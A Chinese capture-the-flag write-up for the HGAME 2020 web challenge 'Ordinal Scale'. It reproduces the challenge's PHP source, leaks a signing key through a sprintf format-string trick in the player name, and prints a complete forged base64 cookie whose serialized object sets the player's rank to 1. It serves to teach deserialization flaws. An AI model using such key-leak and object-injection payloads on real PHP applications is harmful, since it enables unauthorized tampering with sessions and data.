2020 HGAME WEB_Week3 [序列之争]

后面wp篇幅有些长,分开写了。

序列之争

涉及内容
PHP反序列化漏洞
PHP格式化字符串漏洞
代码审计

打开页面发现是一个刀剑神域的小游戏,输入姓名可以开始。
(果然打CTF的都是死肥宅)
2020 HGAME WEB_Week3 [序列之争]_第1张图片
先随便输个姓名,进入游戏界面。
2020 HGAME WEB_Week3 [序列之争]_第2张图片
还有个人信息一栏:
个人信息
随便尝试了一下这个小游戏,表面上的逻辑很简单,打怪即可获取经验,然后排名会上升,但是上升到第2名就无论如何都不会上升了,显然需要一些其他手段来提升到第1名。看看页面源码,尝试找找线索。
发现注释提示
源码提示
拉到本地,发现是题目源码。贴出来如下:
cardinal.php

//cardinal.php

error_reporting(0);
session_start();

class Game
{   
    private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';
    public $welcomeMsg = '%s, Welcome to Ordinal Scale!';

    private $sign = '';
    public $rank;

    public function __construct($playerName){
        $_SESSION['player'] = $playerName;          //为session创建player
        if(!isset($_SESSION['exp'])){
            $_SESSION['exp'] = 0;                   //设定初始经验
        }
        $data = [$playerName, $this->encryptKey];   
        $this->init($data);
        $this->monster = new Monster($this->sign);
        $this->rank = new Rank();
    }

    private function init($data){
        foreach($data as $key => $value){
            $this->welcomeMsg = sprintf($this->welcomeMsg, $value);     //欢迎信息
            $this->sign .= md5($this->sign . $value);
        }
    }
}

class Rank
{
    private $rank;
    private $serverKey;     // 服务器的 Key
    private $key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';

    public function __construct(){
        if(!isset($_SESSION['rank'])){
            $this->Set(rand(2, 1000));          //如果不存在就随机设定rand
            return;
        }

        $this->Set($_SESSION['rank']);          //存在的话就设定session里的rank
    }

    public function Set($no){
        $this->rank = $no;                      //rank的赋值函数
    }

    public function Get(){
        return $this->rank;                     //获取rank值
    }

    public function Fight($monster){
        if($monster['no'] >= $this->rank){
            $this->rank -= rand(5, 15);         //赢了则前进随机5-15名
            if($this->rank <= 2){
                $this->rank = 2;                //第二名则不前进
            }

            $_SESSION['exp'] += rand(20, 200);  //随机加经验
            return array(
                'result' => true, 
                'msg' => 'Congratulations! You win! '
            );
        }else{
            return array(
                'result' => false, 
                'msg' => 'You die!'
            );
        }
    }

//     public function __destruct(){
//         // 确保程序是跑在服务器上的!
//         $this->serverKey = $_SERVER['key'];
//         if($this->key === $this->serverKey){
//             $_SESSION['rank'] = $this->rank;
//         }else{
//             // 非正常访问
//             session_start();
//             session_destroy();
//             setcookie('monster', '');
//             header('Location: index.php');
//             exit;
//         }
//     }
}

class Monster
{
    private $monsterData;
    private $encryptKey;

    public function __construct($key){
        $this->encryptKey = $key;                   
        if(!isset($_COOKIE['monster'])){            //如果不存在怪兽就新set一个
            $this->Set();
            return;
        }

        $monsterData = base64_decode($_COOKIE['monster']);         //对cookie进行base64解码
        if(strlen($monsterData) > 32){ 
            $sign = substr($monsterData, -32);                      //sign是后32位
            $monsterData = substr($monsterData, 0, strlen($monsterData) - 32);      
            echo "
"
.$sign."
"
.$monsterData."
"
.md5($monsterData . $this->encryptKey); if(md5($monsterData . $this->encryptKey) === $sign){ $this->monsterData = unserialize($monsterData); //逆序列化怪兽信息数组 }else{ session_start(); session_destroy(); setcookie('monster', ''); header('Location: index.php'); exit; } } $this->Set(); } public function Set(){ $monsterName = ['无名小怪', 'BOSS: The Kernal Cosmos', '小怪: Big Eggplant', 'BOSS: The Mole King', 'BOSS: Zero Zone Witch']; $this->monsterData = array( 'name' => $monsterName[array_rand($monsterName, 1)], //随机生成小怪 'no' => rand(1, 2000), ); $this->Save(); } public function Get(){ return $this->monsterData; //获取怪兽信息 } private function Save(){ $sign = md5(serialize($this->monsterData) . $this->encryptKey); setcookie('monster', base64_encode(serialize($this->monsterData) . $sign)); } }

game.php



<html lang="en"><head>
    <meta charset="utf-8">
    <title>Ordinal Scale · 序列之争title>
    
    <link href="/static/bootstrap.min.css" rel="stylesheet">link>

    <style>
      .bd-placeholder-img {
        font-size: 1.125rem;
        text-anchor: middle;
        -webkit-user-select: none;
        -moz-user-select: none;
        -ms-user-select: none;
        user-select: none;
      }

      @media (min-width: 768px) {
        .bd-placeholder-img-lg {
          font-size: 3.5rem;
        }
      }
    style>
    <link href="/static/cover.css" rel="stylesheet">
  head>
  <body class="text-center" style="background-image:url('/static/bg.jpg')">
    <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
  <header class="masthead mb-auto">
    <div class="inner">
      <h3 class="masthead-brand">Ordinal Scaleh3>
      <nav class="nav nav-masthead justify-content-center">
        <span class="nav-link active"><b>当前排名: rank->Get());?>b>span>
        <span class="nav-link active">经验: span>
        <a class="nav-link" href="#">登出a>
      nav>
    div>
  header>

  <main role="main" class="inner cover">
    <h2 class="cover-heading">welcomeMsg);?>h2>
    <h1># rank->Get());?>h1>
    rank->Get() === 1){?>
        <h2>hgame{flag_is_here}h2>
    
    <br>
    <div class="card" style="color: #007bff;">
        <h2 class="card-header">monster->Get()['name']);?>h2>
        <div class="card-body">
            <h5 class="card-title">等级: monster->Get()['no']);?>h5>
            <h5>
            rank->Fight($game->monster->Get());
                echo($fight['msg']);

                if(!$fight['result']){
                    $_SESSION['player'] = NULL;
                }
            }
                $game->monster->Set();
            ?>
            h5>
            <form method="POST" action="">
                <input type="hidden" name="battle" value="1">input>
                <br><br>
                
                    <button class="btn">退出button>
                
                    <button class="btn btn-primary">挑战!button>
                
            form>
        div>
    div>

  main>

 

(里面有些注释是我看的时候顺便加的,不是原本就有,还有一个检查是否在服务器上运行的模块,被我注释掉了)
代码很长,具体的请自行分析,我这里只简单总结一下:
$Game->rank->Get()返回值等于1时,输出Flag,但是发现源码中有这个限制:

if($this->rank <= 2){$this->rank = 2;}

通过游戏并不可能达到1。
另外发现存在一个反序列化的点:

if(md5($monsterData . $this->encryptKey) === $sign){
	$this->monsterData = unserialize($monsterData);}

显然是通过这个反序列化的点,通过对象注入覆盖原本的值,使rank等于1。
至于这个$monsterData的值,是从cookie中得到的,源码中也给出了cookie的构造,所以cookie也就是payload的注入点。
详细可以见我另一篇博客的0x01部分。[传送门]
但是还有前面的if条件必须想办法解决,要么绕过,要么必须想办法得到$encryptKey。又发现可疑的点:

private function init($data){
        foreach($data as $key => $value){
            $this->welcomeMsg = sprintf($this->welcomeMsg, $value);     
            $this->sign .= md5($this->sign . $value);                   
        }
    }

$data里面存在$encryptKey的值,但是是这个数组里的第二组值,而第一次%s被输入的名字置换以后,第二组键值不会被再抛出。解决办法很简单,如果名字含有%s,那么第二组键值也会被置换在欢迎信息中,从而得到$encryptKey
名字写上shabi%s,页面输出:
2020 HGAME WEB_Week3 [序列之争]_第3张图片
得到加密用的key为gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL
第一个问题解决了,接下来先计算个人签名。鉴于源码已经给了,就不用费力分析签名是怎么来的了,直接改一下源码在本地运行:

//计算个人签名
class Game
{
    private $encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';	//替换成得到的Key
    public $welcomeMsg = '%s, Welcome to Ordinal Scale!';
    
    private $sign = '';
    public $rank;
    
    public function __construct($playerName){
        
        $data = [$playerName, $this->encryptKey];
        $this->init($data);
        $this->monster = new Monster($this->sign);
        $this->rank = new Rank();
    }
    
    private function init($data){
        foreach($data as $key => $value){
            $this->welcomeMsg = sprintf($this->welcomeMsg, $value);     //欢迎信息
            $this->sign .= md5($this->sign . $value);
        }
        echo $this->sign;		//自己加的一句  输出签名
    }
}
$new = new Game('shabi');

得到个人签名:414c7ad55625f289003613764448a05573b610f5c306a5e8129542d1b4789cdf
接下来就是计算cookie了。
根据源码中的计算方法,构造代码:


$seria = 'O:4:"Game":5:{S:16:"\00Game\00encryptKey";s:32:"gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL";s:10:"welcomeMsg";s:32:"shabi, Welcome to Ordinal Scale!";S:10:"\00Game\00sign";s:64:"414c7ad55625f289003613764448a05573b610f5c306a5e8129542d1b4789cdf";s:4:"rank";O:4:"Rank":3:{S:10:"\00Rank\00rank";i:1;}s:7:"monster";O:7:"Monster":2:{S:20:"\00Monster\00monsterData";a:2:{s:4:"name";s:7:"bigboss";s:2:"no";i:1;}S:19:"\00Monster\00encryptKey";s:64:"414c7ad55625f289003613764448a05573b610f5c306a5e8129542d1b4789cdf";}}';
$encryptKey = "414c7ad55625f289003613764448a05573b610f5c306a5e8129542d1b4789cdf";
$sign = md5($seria.$encryptKey);
$cookie = base64_encode($seria. $sign);
var_dump($GLOBALS);

至于序列化字符串,这里完全不需要自己构造,修改一下源码,在本地让它自行生成即可。将其中Rank改为1:O:4:"Rank":3:{S:10:"\00Rank\00rank";i:1;}
得到payload:

Tzo0OiJHYW1lIjo1OntTOjE2OiJcMDBHYW1lXDAwZW5jcnlwdEtleSI7czozMjoiZ2tVRlVhN0dmUFF1aTNER1VUSFg2WElVUzNaQW1DbEwiO3M6MTA6IndlbGNvbWVNc2ciO3M6MzI6InNoYWJpLCBXZWxjb21lIHRvIE9yZGluYWwgU2NhbGUhIjtTOjEwOiJcMDBHYW1lXDAwc2lnbiI7czo2NDoiNDE0YzdhZDU1NjI1ZjI4OTAwMzYxMzc2NDQ0OGEwNTU3M2I2MTBmNWMzMDZhNWU4MTI5NTQyZDFiNDc4OWNkZiI7czo0OiJyYW5rIjtPOjQ6IlJhbmsiOjM6e1M6MTA6IlwwMFJhbmtcMDByYW5rIjtpOjE7fXM6NzoibW9uc3RlciI7Tzo3OiJNb25zdGVyIjoyOntTOjIwOiJcMDBNb25zdGVyXDAwbW9uc3RlckRhdGEiO2E6Mjp7czo0OiJuYW1lIjtzOjc6ImJpZ2Jvc3MiO3M6Mjoibm8iO2k6MTt9UzoxOToiXDAwTW9uc3RlclwwMGVuY3J5cHRLZXkiO3M6NjQ6IjQxNGM3YWQ1NTYyNWYyODkwMDM2MTM3NjQ0NDhhMDU1NzNiNjEwZjVjMzA2YTVlODEyOTU0MmQxYjQ3ODljZGYiO319OTE3YWVhZjkxNGM2M2YwMTYzYWE3ZTM0NTg1ZTMwYzI=

回到游戏页面,把cookie改成我们计算出的值:
2020 HGAME WEB_Week3 [序列之争]_第4张图片
重新挑战,得到发现自己是第一了 (^ - ^)
2020 HGAME WEB_Week3 [序列之争]_第5张图片
最后要不是出题人自己说我都没发现这题还有彩蛋,页面右上角的登出键点击后无法登出,完全符合刀剑原著,点个赞,老二次元了~

(个人整理,如有错误欢迎指正)

你可能感兴趣的:(CTF_Writeup)